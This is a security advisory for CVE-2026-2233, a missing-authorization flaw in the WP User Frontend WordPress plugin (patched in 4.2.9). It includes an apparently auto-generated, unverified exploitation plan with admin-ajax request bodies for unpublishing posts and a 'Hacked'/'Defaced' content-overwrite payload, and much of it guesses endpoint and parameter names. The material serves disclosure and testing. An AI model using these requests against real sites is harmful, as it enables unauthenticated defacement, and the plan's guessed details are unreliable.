CVE-2026-2233

User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration <= 4.2.8 - Missing Authorization to Unauthenticated Arbitrary Post Modification via 'post_id' Parameter

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.2.9
Patched in
1d
Time to patch

Description

The User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the draft_post() function in all versions up to, and including, 4.2.8. This makes it possible for unauthenticated attackers to modify arbitrary posts (e.g. unpublish published posts and overwrite the contents) via the 'post_id' parameter.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.2.8
PublishedMarch 14, 2026
Last updatedMarch 15, 2026
Affected pluginwp-user-frontend

What Changed in the Fix

Changes introduced in v4.2.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2233 ## 1. Vulnerability Summary The **WP User Frontend** plugin (versions <= 4.2.8) is vulnerable to **Missing Authorization** in the `draft_post()` function. This function, intended to allow users to set their own posts to "draft" status from the frontend, f…

Show full research plan

Exploitation Research Plan: CVE-2026-2233

1. Vulnerability Summary

The WP User Frontend plugin (versions <= 4.2.8) is vulnerable to Missing Authorization in the draft_post() function. This function, intended to allow users to set their own posts to "draft" status from the frontend, fails to verify if the current user has the authority to modify the specific post (e.g., checking if they are the author or an administrator) and fails to implement/verify a secure nonce. Consequently, an unauthenticated attacker can change the status of any post (including those of administrators) to draft, effectively unpublishing it, and potentially overwrite its content if the function handles other input parameters.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (for AJAX actions) or any frontend page (if hooked to init). Given the description, it is likely an AJAX action or a GET/POST request handled during initialization.
  • Action/Hook: wp_ajax_nopriv_wpuf_draft_post (inferred AJAX) or an init hook checking for ?action=wpuf_draft.
  • Vulnerable Parameter: post_id (or postid).
  • Authentication: None required (Unauthenticated).
  • Preconditions: The target post_id must exist and currently be in a published state for the impact to be visible (unpublishing).

3. Code Flow

  1. Entry Point: An HTTP request is sent to WordPress.
  2. Hook Trigger: The plugin's init hook or wp_ajax_nopriv_ handler triggers the draft_post() function (likely located in includes/class-frontend-dashboard.php or includes/class-frontend-form-post.php).
  3. Parameter Extraction: The code retrieves the post_id from $_REQUEST['post_id'] or $_GET['postid'].
  4. Vulnerability Sink: The function calls wp_update_post() or wp_trash_post() without calling current_user_can( 'edit_post', $post_id ).
  5. Execution: wp_update_post( [ 'ID' => $post_id, 'post_status' => 'draft' ] ) is executed, changing the database state.

4. Nonce Acquisition Strategy

If the plugin requires a nonce for unauthenticated users (which is often exposed for frontend forms), follow these steps:

  1. Identify Trigger Shortcode: The plugin uses the [wpuf_dashboard] or [wpuf_addpost] shortcodes to render frontend posting interfaces.
  2. Setup Page: Create a public page containing the dashboard shortcode.
    • wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[wpuf_dashboard]'
  3. Navigate and Extract:
    • Use browser_navigate to visit the newly created page.
    • The plugin localizes scripts into the wpuf_frontend or wpuf_frontend_inst JavaScript object.
    • JS Variable: window.wpuf_frontend
    • Nonce Key: window.wpuf_frontend.nonce (or check for wpuf_listing_nonce in the HTML).
  4. Command: browser_eval("window.wpuf_frontend?.nonce")

Note: If the vulnerability is truly "Missing Authorization", it often implies the nonce check is either entirely absent or the action string is so generic that a nonce for any frontend action suffices.

5. Exploitation Strategy

We will attempt to unpublish a high-value post (e.g., Post ID 1, the default "Hello world!" or a custom admin post).

Step 1: Discover Target Post ID

Use WP-CLI to identify a published post ID.
wp post list --post_status=publish --fields=ID,post_title

Step 2: Construct the Exploit Request

Based on standard WP User Frontend patterns, the request will likely be an AJAX call.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wpuf_draft_post&post_id=[TARGET_ID]&_wpnonce=[NONCE]
    
    Alternative if init based:
    GET http://localhost:8080/?action=wpuf_draft&postid=[TARGET_ID]

Step 3: Overwrite Content (If applicable)

If the function accepts additional parameters, attempt to overwrite the content:

  • Body: action=wpuf_draft_post&post_id=[TARGET_ID]&post_title=Hacked&post_content=Defaced

6. Test Data Setup

  1. Target Post: Ensure a post exists that is owned by the admin.
    • wp post create --post_title="Sensitive News" --post_content="Important content" --post_status=publish --post_author=1
  2. Note the ID: export TARGET_ID=$(wp post list --post_title="Sensitive News" --field=ID)
  3. Public Page: Create the page to potentially leak nonces.
    • wp post create --post_type=page --post_status=publish --post_content='[wpuf_dashboard]'

7. Expected Results

  • HTTP Response: Likely a 302 redirect back to the dashboard or a JSON success message {"success": true}.
  • Database Change: The post with ID = $TARGET_ID will have its post_status changed from publish to draft.
  • Frontend Impact: The post will no longer be visible to public visitors (404 Not Found on the post URL).

8. Verification Steps

  1. Check Status: Run WP-CLI to verify the new status.
    • wp post get $TARGET_ID --field=post_status
    • Expected output: draft
  2. Check Content: If an overwrite was attempted:
    • wp post get $TARGET_ID --field=post_title
    • Expected output: Hacked (if overwrite successful)

9. Alternative Approaches

If wp_ajax_nopriv_wpuf_draft_post is not the endpoint:

  1. Search for action in init hooks: The plugin often processes URL parameters in includes/class-frontend-dashboard.php. Look for $_GET['action'] == 'wpuf_draft'.
  2. Check for _wpnonce in GET: If the request is ?action=wpuf_draft&postid=X&_wpnonce=Y, the nonce can often be found by inspecting the "Draft" link on the [wpuf_dashboard] page using browser_eval.
  3. Try different parameter names: post_id, postid, pid.
  4. Check for wpuf_post_status parameter: Some versions might allow passing the status directly in a generic update function.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.